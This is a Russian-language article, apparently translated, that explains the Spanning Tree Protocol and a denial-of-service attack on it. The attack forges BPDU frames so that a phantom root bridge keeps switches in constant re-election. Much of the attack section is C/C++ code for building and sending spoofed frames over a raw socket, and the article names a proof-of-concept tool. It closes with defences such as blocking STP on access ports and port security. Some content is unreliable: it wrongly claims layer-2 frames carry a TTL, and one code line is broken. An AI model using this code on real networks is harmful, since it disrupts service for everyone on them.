Атака на протокол Spanning Tree

Атака на протокол Spanning Tree

Постоянная сетевая доступность – один из важнейших аспектов, который следует рассматривать при планировании топологии сети. Ежегодно увеличиваются запросы пользователей и стандарты качества, которым должны соответствовать современные сети.

Автор: Лукаш Томицки (Lukasz Tomicki)

Прогресс не стоит на месте. Компании по всему миру становятся все более зависимы от информационных технологий. Непрерывная работа с электронной почтой, файловыми серверами, базами данных и сетевыми сервисами уже не конкурентное преимущество, а жизненная необходимость, от которой зависит продуктивность сотрудников компании. Постоянная сетевая доступность – один из важнейших аспектов, который следует рассматривать при планировании топологии сети. Ежегодно увеличиваются запросы пользователей и стандарты качества, которым должны соответствовать современные сети.

У современных сетей должен быть не только высокий уровень синхронизации и низкое время ожидания, но и избыточность, которая позволяет добиться крайне высокого уровня доступности (99,999%). Это означает, что сеть может прервать свою работу не более чем на пять минут в течение года. Чтобы соответствовать столь высоким стандартам, сети проектируются так, чтобы к каждому сетевому сегменту шло множество физических маршрутов.

Множественные сетевые маршруты обладают крайне нежелательным побочным эффектом: петлями коммутации (switching loops). Наличие подобных петель приводит к широковещательному шторму, множественным копиям фреймов и нестабильности таблицы с MAC-адресами. И тут нам на помощь приходит протокол Spanning Tree (STP), роль которого как раз и сводится к тому, чтобы создать в избыточных сетях топологию, где отсутствует влияние петель.

Цель этой статьи – кратко описать протокол STP и его роль в топологии избыточных сетей.

Вводная информация: топологии избыточных сетей

Рассмотрим конфигурацию сети, показанную на рисунке ниже, где проиллюстрирована простейшая избыточная топология. Если, к примеру, кто-то отключит питание у одного из свитчей уровня 2 (на рисунке показаны зеленым цветом) (например, уборщица, если захочет включить в розетку пылесос), или порвется сетевой кабель между красным и зеленым свитчем, - в этом случае работоспособность сети не нарушится, поскольку к каждому сетевому сегменту подходит несколько маршрутов.

Рисунок 1: Простейшая топология избыточной сети

Если физическая связь между красным и зеленым свитчем нарушится, избыточная сеть будет продолжать работу в обычном режиме.

Само собой, в избыточных сетях присутствуют физические петли. Поскольку у фреймов второго уровня (к которым относятся зеленые свитчи) присутствует механизм TTL (Time-to-Live, определенное время жизни), наличие петлей внутри сети приводит к широковещательным штормам и нестабильности таблицы с MAC-адресами, что в свою очередь приводит к увеличению времени ожидания и нестабильной работе сети в целом, и, соответственно, к жалобам пользователей.

Протокол Spanning-Tree

Протокол STP описан в стандарте IEEE 802.1d и позволяет устранить влияние петель в сети. Этот протокол позволяет при помощи свитчей создать топологию с отсутствием петель, несмотря на то, что физические петли присутствовать будут. STP переключает порты свитчей в состояние блокировки или пересылки в зависимости от сегментов, к которым они подсоединены. Существует три основных шага, при помощи которых STP реализует подобную топологию: выбор корневого моста, выбор одного корневого порта на каждом некорневом мосте и выбор определенного порта для каждого сетевого сегмента.

Выбор корневого моста происходит путем обмена фреймами протокола управления сетевыми мостами (Bridge Protocol Data Units) на втором уровне (зеленые свитчи).

При использовании STP каждый порт свитча проходит несколько стадий.

Рисунок 2: Схема управления портами свитчей

Каждые 50 секунд каждый порт свитча устанавливается либо в состояние пересылки, либо в состояние блокировки; таким образом, создается топология без влияния петель. Во время процесса выбора корневого моста каждый свитч отсылает и получает фреймы и обрабатывает полученные фреймы для того, чтобы определить корневой мост. Структура BPDU-фрейма выглядит так (код приведен на языке C):

struct ether_header
{
u8 dhost[6]; // destination MAC
// (STP multicast: 01-80-C2-00-00-00)

u8 shost[6]; // = 0x0000 for our purposes
u16 size; // = 52 for our purposes
} __attribute__ ((packed));

struct llc_header {
u8 dsap; // = 0x42 for our purposes
u8 ssap; // = 0x42 for our purposes
u8 func; // = 0x03 for our purposes
} __attribute__ ((packed));

struct stp_header {
struct llc_header llc;
u16 type; // = 0x0000 for our purposes
u8 version; // = 0x00 for our purposes
u8 config; // = 0x00 for our purposes
u8 flags; // = 0x00 for our purposes

union {
u8 root_id[8];
struct {
u16 root_priority;
u8 root_hdwaddr[6];
} root_data;
};
u32 root_path_cost; // = 0x00 for our purposes

union {
u8 bridge_id[8];
struct {
u16 bridge_priority;
u8 bridge_hdwaddr[6];
} bridge_data;
};

u16 port_id; // = 0x8002 for our purposes
u16 message_age; // = 0x0000 for our purposes
u16 max_age; // = 0x0001 for our purposes
u16 hello_time; // = 0x0001 for our purposes
u16 forward_delay; // = 0x0001 for our purposes
} __attribute__ ((packed));

typedef struct {
struct ether_header eth;
struct stp_header stp;
} eth_stp;

Поля root_priority и root_hdwaddr[6] совместно образует восьми октетный идентификатор (ID) моста. Мост с самым низким идентификатором становится корневым. При отсылке фрейма свитч устанавливает в корневой ID свой собственный ID. Поскольку каждый свитч останавливает посылку фреймов при получении фрейма с ID меньше, чем его собственный, в конечном итоге корневым мостом остается единственный свитч, который продолжает отсылать фреймы.

После выбора корневого моста каждый свитч переключает свои порты либо в состояние пересылки, либо в состояние блокировки. Сеть может выглядеть примерно так:

Рисунок 3: Топология сети после выбора корневого моста (красным крестиком отмечены свитчи, порты которых находятся в состоянии блокировки)

Если в сетевой топологии происходят какие-либо изменения (например, потеряна связь или добавлен новый свитч), должен произойти повторный выбор корневого моста. Для того чтобы показать работоспособность корневого моста, корневой свитч непрерывно посылает BPDU-фреймы. Эти интервалы контролируются полем hello_time (по умолчанию 2 секунды). Если в течение интервала времени, указанного в поле max_age, свитчи не получают фреймы от корневого свитча, считается, что корневой мост вышел из строя, и начинается повторный выбор нового корневого моста.

Вектор атаки

Цель нашей атаки – разорвать связующие деревья (spanning-trees) у свитчей, дестабилизировать их таблицы с MAC-адресами и удерживать сеть в непрерывном состоянии повторного выбора корневого моста. Мы можем сделать это, поскольку не существует механизма аутентификации, встроенного в протокол STP.

Путем создания BPDU-фреймов несуществующего свитча с ID=1, мы можем выбрать несуществующий свитч в качестве корневого моста. Используя минимальное значение max-age в наших пакетах и не посылая пакеты в течение этого времени, мы спровоцируем повторный выбор корневого моста, а затем в то время, когда будут проходить перевыборы, вновь будем отсылать пакеты, выигрывать эти выборы и становиться корневым мостом.

Повторяя эту процедуру вновь и вновь, мы будем «держать» сеть в состоянии непрерывного выбора корневого моста, и любой широковещательный или групповой трафик станет причиной широковещательного шторма, насыщая сеть фреймами.

Давайте рассмотрим, как реализовать этот механизм в Linux. Для начала нам необходимо создать низкоуровневый сокет, при помощи которого будем создавать пакеты. Протокол Spanning-Tree работает на канальном уровне (data-link layer). Мы будем создать пакеты с очень низкого уровня, включая заголовки для Ethernet-фреймов. Но сначала создадим сокет:

int fd;
if ((fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) == -1) {
perror("socket:");
return 0;
}

Для отсылки фреймов в Linux на втором уровне (layer 2) во время вызова функции sento() необходимо использовать структуру sockaddr_ll. Эта структура объявлена в файле include/linux/if_packet.h:

struct sockaddr_ll
{
unsigned short sll_family;
unsigned short sll_protocol;
int sll_ifindex;
unsigned short sll_hatype;
unsigned char sll_pkttype;
unsigned char sll_halen;
unsigned char sll_addr[8];
};

Мы устанавливаем в поле sll_family значение AF_PACKET, а в поле sll_protocol – значение 0. Для того чтобы получить индекс интерфейса, который необходимо установить в поле sll_ifindex, мы должны использовать структуру ifreq и функцию ioctl(). В поля sll_hatype, sll_pkttype и sll_halen необходимо установить значения 1, 0 и 6 соответственно. И, наконец, мы устанавливаем аппаратный адрес интерфейсов в поле sll_addr[8].

Для начала у нас должен быть идентификатор для интерфейса, который мы хотим использовать, в текстовом виде (например, eth0, fxp0 и т. д.). Рассмотрим следующий пример:

char *interface_name = "eth0";
sockaddr_ll sock;
ifreq ifr;

int tmpfd = socket (AF_INET, SOCK_DGRAM, 0);
strncpy (ifr.ifr_name, interface_name, strlen(interface_name));

ioctl (tmpfd, SIOCGIFINDEX, &ifr); // get interface index
sock.sll_ifindex = ifr.ifr_ifindex; // set it in sock struct

ioctl (tmpfd, SIOCGIFHWADDR, &ifr); // get interface addr
memcpy (sock.sll_addr, ifr.ifr_hwaddr.sa_data, 6);

close (tmpfd);

Затем мы можем перейти к созданию BPDU-фреймов. Начинаем с определения идентификатора корневого моста. Для того чтобы наш мост-призрак был выбран корневым, наш идентификатор должен быть минимально возможным для этой сети. Приоритет и аппаратный адрес – две составляющие идентификатора моста. Первые два байта – приоритет, последующие шесть байтов – MAC-адрес. По умолчанию значение приоритета находится в диапазоне между 1 и 32758. Таким образом, установив в качестве идентификатора моста [0x00][0x01][любые шесть байт], мы добьемся нужных результатов. Мы можем пойти двумя путями: использовать один и тот же идентификатор моста в каждом пакете или сделать это значение случайным для каждого фрейма.

char shwaddr[8];
shwaddr[0] = 0x00;
shwaddr[1] = 0x01;

a)
memcpy(shwaddr + 2, ifr.ifr_hwaddr.sa_data, 6);

b)
void make_rand_hwaddr(char *buf)
{
for (int i(0); i < 6; ++i)
buf[i] = rand() % 256;
}

make_rand_hwaddr(shwaddr + 2);

Теперь создадим и заполним структуру eth_stp. Я использовал следующие функции:

u16 atohex (u8 *hex)
{
short int x,y,a,a2=0;
char buf[2];

char nums[] = {"0123456789abcdef"};

memcpy(buf, hex, 2);
for (int x(0); x < 2; ++x) {
for (int y(0); y < 16; ++y) {
if (buf[x] == nums[y]) {
if (x == 0)
a = (y) * 16;
else
a = y;
a2 +=a;
}
}
}
return a2;
}

u8 *ascii_to_hwaddr (const char *hwaddr)
{
u8 t[2];
u8 y(0);
static u8 buf[6];
do {
t[0] = *hwaddr++;
t[1] = *hwaddr++;
hwaddr++;
buf[y] = atohex (t);
y++;
} while (y < 6);

return (buf);
}

const char *fill_stp_header(char *shwaddr, bool topology_change,
char *root_id, u32 forward_delay, u32 max_age, u32 hello_time,
u32 port_id)
{
static eth_stp stp_packet;
memset(&stp_packet, 0, sizeof(stp_packet));

memcpy(stp_packet.eth.dhost,
ascii_to_hwaddr("01-80-c2-00-00-00"), 6);
memcpy (stp_packet.eth.shost, shwaddr, 6);
memcpy(stp_packet.stp.root_id, root_id, 8);
memcpy(stp_packet.stp.bridge_id, root_id, 8);

stp_packet.eth.size = htons(0x0034);
stp_packet.stp.llc.dsap = 0x42;
stp_packet.stp.llc.ssap = 0x42;
stp_packet.stp.llc.func = 0x03;
stp_packet.stp.port_id = port_id;
stp_packet.stp.hello_time = hello_time;
stp_packet.stp.max_age = max_age;
stp_packet.stp.forward_delay = forward_delay;

if (topology_change)
.stp.flags = 0x01;

return (const char*) &stp_packet;
}

Параметры функции fill_stp_header() имеют следующий смысл:

  • *shaddr – MAC-адрес, используемый в пакете (можно использовать либо настоящий адрес, либо фальшивый). Переменная должна быть указателем на 6-ти байтовый буфер.
  • topology_change – параметр, принимающий значения false/true. Если параметр равен true, будет выставлен флаг topology_change в STP-фрейме, остальные мосты повторно извещаются об изменении корневого моста.
  • *root_id – указатель на 8-ми байтовый буфер, содержащий идентификатор корневого моста (2 байта на приоритет + 6 байт на MAC-адрес).
  • forward_delay – задержка в секундах. В течение этого времени порты находятся в режиме прослушивания перед переходом в режим обучения и режиме обучения при переходе в режим пересылки. Более подробно об этом рассказано в разделе «Протокол Spanning-Tree».
  • max_age – время в секундах, в течение которого свитч находится в режиме ожидания и не получает STP-фреймов, перед обнаружением падения корневого моста и возобновления процесса выбора.
  • hello_time – время в секундах, в течение которого свитч ожидает получение фреймов.
  • port_id – идентификатор порта бриджа, отсылающего фрейм.

После того, как мы сформировали заголовок и получили всю необходимую информацию, мы можем отсылать фрейм при помощи самой элементарной функции sendto().

const char *buf = fill_stp_header(shwaddr + 2, topology_change,
shwaddr, forward_delay, max_age, hello_time, port_id);

int fd;
if ((fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) == -1) {
perror("socket:");
return 0;
}

if ((sendto (fd, buf, sizeof(eth_stp), 0, (struct sockaddr*)&sock,
sizeof(sockaddr_ll))) == -1) {
perror("sendto:");
return 0;
}

На этом я заканчиваю написание кода. При помощи описанной уязвимости можно осуществлять самые разные атаки, а не только атаку, связанную с отказом в обслуживании, которую я описал в этой статье. За более подробной информацией обратитесь к [1] (см. раздел Ссылки).

Как защитить сеть

Существует несколько простых методов для защиты сети от уязвимости, описанной в этой статье. Чтобы осуществить атаку, свитч должен принимать фреймы на порт, к которому у злоумышленника есть доступ. Следовательно, реализация подобных атак становится невозможной, если стоит запрет на доступ со стороны обычных пользователей к STP-портам. Это можно сделать, если заблокировать STP на портах доступа, защитить пользовательские порты и ограничить физический доступ к сетевому оборудованию.

Если STP заблокирован на пользовательских портах, злоумышленник должен будет получить физический доступ к свитчу и использовать switch-to-switch порты для подсоединения своего компьютера (предполагается, что все неиспользуемые порты либо заблокированы, либо на них заблокирован STP). Если вы не можете запретить физический доступ к сетевым устройствам, нужно предпринять другие действия для повышения уровня безопасности сети. Функция безопасности портов позволяет свитчу принимать фреймы только с определенного набора MAC-адресов (обычно это адреса, с которыми первоначально уже происходило взаимодействие). Если включить такую защиту, то атака станет невозможной до тех пор, пока злоумышленник не проанализирует трафик сети и не захватит пользовательскую рабочую станцию.

Заключение

В то время как большинство сетевых администраторов концентрируются на проблемах безопасности на более высоких уровнях модели OSI (уровни 3-7), например, корректировка отмены маршрута, фильтрация доступа и уязвимости в сервисах, многие пренебрегают базовыми рисками безопасности на физическом и канальном уровнях. Ограничение физического доступа к сетевым устройствам – важная часть политики безопасности, однако защитой на канальном уровне также не следует пренебрегать. Раньше на втором уровне модели OSI приходилось осуществлять пересылку данных и физическую адресацию. Поскольку требования на сеть сильно возросли, сложные протоколы все еще работают на этом уровне.

Уязвимости в протоколе Spanning-Tree не столь существенны, но могут привести к отказу в обслуживании сервисов. Подобные атаки могут быть осуществлены даже неопытными злоумышленниками. Защита от таких атак должны стать неотъемлемой частью комплекса мер по повышению безопасности сетей.

Пилотная реализация на C++

Пилотная реализация для эксплуатации уязвимости в протоколе Spanning-Tree написана на C++ (работает на ядрах 2.6.х)

md5sum: 8e516dba2a8b1451d753f0761567a5a0 stp-spoof-0.2.tar.bz2

Ссылки

Ваша приватность умирает красиво, но мы можем спасти её.

Присоединяйтесь к нам!